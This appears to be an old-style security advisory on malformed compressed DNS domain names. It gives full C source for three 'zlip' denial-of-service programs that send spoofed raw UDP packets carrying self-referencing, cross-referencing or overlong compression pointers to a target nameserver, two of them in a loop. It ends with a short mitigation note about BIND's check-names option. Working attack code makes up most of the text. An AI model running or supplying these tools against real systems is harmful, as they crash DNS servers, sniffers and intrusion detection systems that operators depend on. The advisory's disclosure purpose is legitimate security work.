COMMAND

    dns

SYSTEMS AFFECTED

    most unices

PROBLEM

    Sebastian found  following.   Some dns  packet decoders (sniffers,
    ids  systems  (?),  dns  servers)  may  be vulnerable to malformed
    compressed domain names inside dns packets.  As he played with the
    DNS  RFC  (1035  especially)  Sebastian  came  up with the idea to
    create malformed compressed dns  domains inside the DNS  packet to
    make it impossible  for the DNS  packet decoder to  decompress it,
    which might lead to a denial  of service attack.  On tests  it was
    found  his  BIND  servers  resisting  all attacks (three different
    types), but all sniffers he used  to view the DNS packets send  to
    the server behaved in a very "special" way.

    First test (pointing-to-itself-compression (zlip-1.c))
    ======================================================
    The  DNS  domain  consists  out  of  multiple  labels, and message
    "compression" allows  you to  let a  pointer point  to a  previous
    label inside the packet, to save bytes in the DNS packet.  He just
    created a pointer  that points to  itself, meaning on  a recursive
    domain  decompression  (like  etherreal  uses),  this will produce
    effects like  segfaulting or  hanging.   Etherreal alloc's  memory
    until  the  system  crashes,  tcpdump  stopped  working before the
    packet is received, on  SIGINT, it displays the  malformed packet,
    but dropped all other packets:

	14:57:59.025013 128.75.9.2.48078 > victim.ns.org.domain: 30993 Type49159
	(Class 49168)?

    zlip-1.c follows:

    /* zlip - named denial of service attacks
     *
     * 990530 - found and exploited by scut / teso
     *
     * this file is non public - keep it to yourself
     *
     * source based of udp+data.c from route's libnet
     */

    #include <stdio.h>
    #include <libnet.h>

    int
    main (int argc, char **argv)
    {
	    int     sock, c;
	    u_long  src_ip, dst_ip;
	    u_short src_prt = 0, dst_prt;
	    u_char  *buf;
	    u_char  *qbuf = "\xc0\x0c\xc0\x07\xc0\x10\xc0\x17\xc0\x20\xc0\x27"
			    "\xc0\x30\xc0\xff\xcf\x00\x00\x00\x01\x00\x01";
	    int     qbuf_s = 23;

	    printf ("zlip - named denial of service attack\n");
	    if (argc != 4) {
		    printf ("\nusage: %s <srcip> <srcport> <dstip>\n", argv[0]);
		    exit (EXIT_FAILURE);
	    }

	    src_ip  = libnet_name_resolve (argv[1], 0);
	    src_prt = (u_short) atoi (argv[2]);
	    dst_ip  = libnet_name_resolve (argv[3], 0);
	    dst_prt = 53;

	    if (src_ip == 0 || dst_ip == 0) {
		    printf ("invalid syntax\n");
		    exit (EXIT_FAILURE);
	    }

	    buf = calloc (1, (UDP_H + IP_H + DNS_H + qbuf_s));
	    if (buf == NULL) {
		    perror ("No memory for packet");
		    exit (EXIT_FAILURE);
	    }

	    libnet_seed_prand ();

	    sock = open_raw_sock(IPPROTO_RAW);
		    if (sock == -1) {
		    perror ("No socket");
		    exit (EXIT_FAILURE);
	    }

	    libnet_build_ip (       UDP_H + DNS_H + qbuf_s, /* content size */
				    0,              /* tos */
				    0,               /* id :) btw, what does 242 mean ? */
				    0,              /* frag */
				    64,             /* ttl */
				    IPPROTO_UDP,    /* subprotocol */
				    src_ip,         /* spoofa ;) */
				    dst_ip,         /* victim ns ip */
				    NULL,           /* payload already there */
				    0,              /* same */
				    buf);           /* build in packet buffer */

	    libnet_build_udp (      (src_prt == 0) ? libnet_get_prand (PRu16) : src_prt,    /* source port */
				    dst_prt,        /* 53 usually */
				    NULL,           /* content already there */
				    0,              /* same */
				    buf + IP_H);    /* build after ip header */

	    libnet_build_dns (      libnet_get_prand (PRu16),       /* dns id (the famous one :) */
				    0x0000,                         /* standard query */
				    1,                              /* 1 query */
				    0,                              /* no answers */
				    0,                              /* no authoritative information */
				    0,                              /* no additional information */
				    qbuf,                           /* buffer with the malformed query */
				    qbuf_s,                         /* query size */
				    buf + IP_H + UDP_H);            /* write into packet buffer */

	    libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + DNS_H + qbuf_s);

	    c = write_ip (sock, buf, UDP_H + IP_H + DNS_H + qbuf_s);
	    if (c < UDP_H + IP_H + DNS_H + qbuf_s) {
		    printf ("write_ip wrote too less bytes\n");
	    }
	    printf ("completed, wrote %d bytes to victim nameserver\n", c);

	    free (buf);

	    return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
    }

    Second test (crossreferencing pointers (zlip-2.c))
    ==================================================
    Similar  to  the  first  code,  but  now  two  pointer are used to
    reference  each  other,  speeding  up  the  effect  on  Etherreal.
    Results are the same as in the first test.  zlip-2.c follows:

    /* zlip - named denial of service attacks
     *
     * 990530 - found and exploited by scut / teso
     *
     * this file is non public - keep it to yourself
     *
     * source based of udp+data.c from route's libnet
     */

    #include <stdio.h>
    #include <libnet.h>

    int
    main (int argc, char **argv)
    {
	    int     sock, c, i;
	    u_long  src_ip, dst_ip;
	    u_short src_prt = 0, dst_prt;
	    u_char  *buf;
	    u_char  *qbuf = "\xc0\x0e\xc0\x0c\xc0\x10\xc0\x17\xc0\x20\xc0\x27"
			    "\xc0\x30\xc0\xff\xcf\x00\x00\x00\x01\x00\x01";
	    int     qbuf_s = 23;

	    printf ("zlip - named denial of service attack\n");
	    if (argc != 5) {
		    printf ("\nusage: %s <srcip> <srcport> <dstip> <amount>\n", argv[0]);
		    exit (EXIT_FAILURE);
	    }

	    src_ip  = libnet_name_resolve (argv[1], 0);
	    src_prt = (u_short) atoi (argv[2]);
	    dst_ip  = libnet_name_resolve (argv[3], 0);
	    dst_prt = 53;

	    if (src_ip == 0 || dst_ip == 0) {
		    printf ("invalid syntax\n");
		    exit (EXIT_FAILURE);
	    }

	    buf = calloc (1, (UDP_H + IP_H + DNS_H + qbuf_s));
	    if (buf == NULL) {
		    perror ("No memory for packet");
		    exit (EXIT_FAILURE);
	    }

	    libnet_seed_prand ();

	    sock = open_raw_sock(IPPROTO_RAW);
		    if (sock == -1) {
		    perror ("No socket");
		    exit (EXIT_FAILURE);
	    }

	    for (i = atoi (argv[4]); i > 0; i--) {
		    libnet_build_ip (       UDP_H + DNS_H + qbuf_s, /* content size */
					    0,              /* tos */
					    0,              /* id :) btw, what does 242 mean ? */
					    0,              /* frag */
					    64,             /* ttl */
					    IPPROTO_UDP,    /* subprotocol */
					    src_ip,         /* spoofa ;) */
					    dst_ip,         /* victim ns ip */
					    NULL,           /* payload already there */
					    0,              /* same */
					    buf);           /* build in packet buffer */

		    libnet_build_udp (      (src_prt == 0) ? libnet_get_prand (PRu16) : src_prt,    /* source port */
					    dst_prt,        /* 53 usually */
					    NULL,           /* content already there */
					    0,              /* same */
					    buf + IP_H);    /* build after ip header */

		    libnet_build_dns (      libnet_get_prand (PRu16),       /* dns id (the famous one :) */
					    0x0000,                         /* standard query */
					    1,                              /* 1 query */
					    0,                              /* no answers */
					    0,                              /* no authoritative information */
					    0,                              /* no additional information */
					    qbuf,                           /* buffer with the malformed query */
					    qbuf_s,                         /* query size */
					    buf + IP_H + UDP_H);            /* write into packet buffer */

		    libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + DNS_H + qbuf_s);

		    c = write_ip (sock, buf, UDP_H + IP_H + DNS_H + qbuf_s);
		    if (c < UDP_H + IP_H + DNS_H + qbuf_s) {
			    printf ("write_ip wrote too less bytes\n");
		    }
		    printf ("completed, wrote %d bytes to victim nameserver\n", c);
	    }

	    free (buf);

	    return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
    }

    Third test (very long label, decompressed multiple times (zlip-3.c))
    ====================================================================
    This time Sebastian used a long label (maximum of 63  characters),
    and referenced to it  a dozend times, this  will decode to a  very
    long domain,  therefore it  may overflow  some fixed-sized-buffers
    (because  the   rfc  says   "limited  to   500  characters"   some
    programmers may prefer fixed buffers  for dns decoders).  This  is
    the case in Etherreal, where such a request creates a segmentation
    fault (due to a buffer overrun).  zlip-3.c follows:

    /* zlip - named denial of service attacks
     *
     * 990530 - found and exploited by scut / teso
     *
     * this file is non public - keep it to yourself
     *
     * source based of udp+data.c from route's libnet
     */

    #include <stdio.h>
    #include <libnet.h>

    int
    main (int argc, char **argv)
    {
	    int     sock, c, i;
	    u_long  src_ip, dst_ip;
	    u_short src_prt = 0, dst_prt;
	    u_char  *buf;
	    u_char  *qbuf = "\x3ethisleetostringwillcrashyourlittlenameserverforsurehahahahahah\xc0\x0c\xc0\x0c"
			    "\xc0\x0c\xc0\x0c\xc0\x0c\xc0\x0c\xc0\x0c\xc0\x0c\xc0\x0c\xc0\x0c\xc0\x0c\xc0\x0c"
			    "\xc0\x0c\xc0\x0c\xc0\x0c\x00";
	    int     qbuf_s = strlen (qbuf);

	    printf ("zlip - named denial of service attack\n");
	    if (argc != 5) {
		    printf ("\nusage: %s <srcip> <srcport> <dstip> <amount>\n", argv[0]);
		    exit (EXIT_FAILURE);
	    }

	    src_ip  = libnet_name_resolve (argv[1], 0);
	    src_prt = (u_short) atoi (argv[2]);
	    dst_ip  = libnet_name_resolve (argv[3], 0);
	    dst_prt = 53;

	    if (src_ip == 0 || dst_ip == 0) {
		    printf ("invalid syntax\n");
		    exit (EXIT_FAILURE);
	    }

	    buf = calloc (1, (UDP_H + IP_H + DNS_H + qbuf_s));
	    if (buf == NULL) {
		    perror ("No memory for packet");
		    exit (EXIT_FAILURE);
	    }

	    libnet_seed_prand ();

	    sock = open_raw_sock(IPPROTO_RAW);
		    if (sock == -1) {
		    perror ("No socket");
		    exit (EXIT_FAILURE);
	    }

	    for (i = atoi (argv[4]); i > 0; i--) {
		    libnet_build_ip (       UDP_H + DNS_H + qbuf_s, /* content size */
					    0,              /* tos */
					    0,              /* id :) btw, what does 242 mean ? */
					    0,              /* frag */
					    64,             /* ttl */
					    IPPROTO_UDP,    /* subprotocol */
					    src_ip,         /* spoofa ;) */
					    dst_ip,         /* victim ns ip */
					    NULL,           /* payload already there */
					    0,              /* same */
					    buf);           /* build in packet buffer */

		    libnet_build_udp (      (src_prt == 0) ? libnet_get_prand (PRu16) : src_prt,    /* source port */
					    dst_prt,        /* 53 usually */
					    NULL,           /* content already there */
					    0,              /* same */
					    buf + IP_H);    /* build after ip header */

		    libnet_build_dns (      libnet_get_prand (PRu16),       /* dns id (the famous one :) */
					    0x0000,                         /* standard query */
					    1,                              /* 1 query */
					    0,                              /* no answers */
					    0,                              /* no authoritative information */
					    0,                              /* no additional information */
					    qbuf,                           /* buffer with the malformed query */
					    qbuf_s,                         /* query size */
					    buf + IP_H + UDP_H);            /* write into packet buffer */

		    libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + DNS_H + qbuf_s);

		    c = write_ip (sock, buf, UDP_H + IP_H + DNS_H + qbuf_s);
		    if (c < UDP_H + IP_H + DNS_H + qbuf_s) {
			    printf ("write_ip wrote too less bytes\n");
		    }
		    printf ("completed, wrote %d bytes to victim nameserver\n", c);
	    }

	    free (buf);

	    return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
    }

    Another thing to remember is that it is possible to put ABSOLUTELY
    ANYTHING  inside  a  DNS  domain  name.  This includes whitespace,
    control characters, and even NULL.   Imagine what could happen  if
    some program did a strcmp() on the following name:

	rs.internic.net\0.xa.net

    where, of  course, \0  is a  null.   Interested readers may ponder
    what type of programs may be exploited with this type of attack.

SOLUTION

    Use BIND's  check-names option  to refuse  illegal answers.   Many
    sysadmins disable BIND's  "check-names" option because  their less
    knowledgeable  colleagues  assign  illegal  names.  In particular,
    many  use  underscores  in  system  names,  even  though   they're
    verboten.   BIND  *should*  have  a  separate  option  that allows
    underscores in names to  accommodate this frequent glitch,  but it
    doesn't.  So, the checking becomes all-or-nothing.